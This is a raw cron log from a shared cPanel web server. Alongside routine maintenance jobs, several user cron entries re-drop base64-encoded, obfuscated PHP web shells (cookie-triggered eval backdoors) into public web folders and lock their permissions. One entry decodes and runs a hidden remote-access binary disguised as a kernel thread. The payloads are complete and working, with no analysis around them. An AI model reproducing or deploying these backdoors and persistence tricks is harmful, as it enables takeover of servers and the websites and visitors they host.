Mar  2 02:00:02 medusa CROND[12027]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:00:02 medusa CROND[12029]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12031]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:00:02 medusa CROND[12036]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:00:02 medusa CROND[12037]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12039]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12034]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12040]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 02:00:02 medusa CROND[12050]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12038]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:00:02 medusa CROND[12053]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 02:00:02 medusa CROND[12043]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:00:02 medusa CROND[12055]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:00:02 medusa CROND[12041]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 02:00:02 medusa CROND[12056]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:00:02 medusa CROND[12059]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 02:00:02 medusa CROND[12065]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12063]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 02:00:02 medusa CROND[12071]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12052]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:00:02 medusa CROND[12062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 02:00:02 medusa CROND[12083]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:00:02 medusa CROND[12064]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12092]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:00:02 medusa CROND[12093]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:00:02 medusa CROND[12096]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 02:00:02 medusa CROND[12097]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:00:02 medusa CROND[12069]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 02:01:02 medusa CROND[17900]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:01:02 medusa CROND[17901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:01:02 medusa CROND[17902]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:01:02 medusa CROND[17904]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:01:02 medusa CROND[17906]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 02:01:02 medusa CROND[17905]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:01:02 medusa CROND[17907]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 02:01:02 medusa CROND[17909]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:01:02 medusa CROND[17910]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:01:02 medusa CROND[17911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 02:01:02 medusa CROND[17913]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:01:02 medusa CROND[17914]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:01:02 medusa CROND[17916]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:01:02 medusa CROND[17919]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:01:02 medusa run-parts(/etc/cron.hourly)[17906]: starting 0anacron
Mar  2 02:01:02 medusa anacron[18079]: Anacron started on 2026-03-02
Mar  2 02:01:02 medusa run-parts(/etc/cron.hourly)[18083]: finished 0anacron
Mar  2 02:01:02 medusa anacron[18079]: Normal exit (0 jobs run)
Mar  2 02:02:01 medusa CROND[24253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:02:02 medusa CROND[24341]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
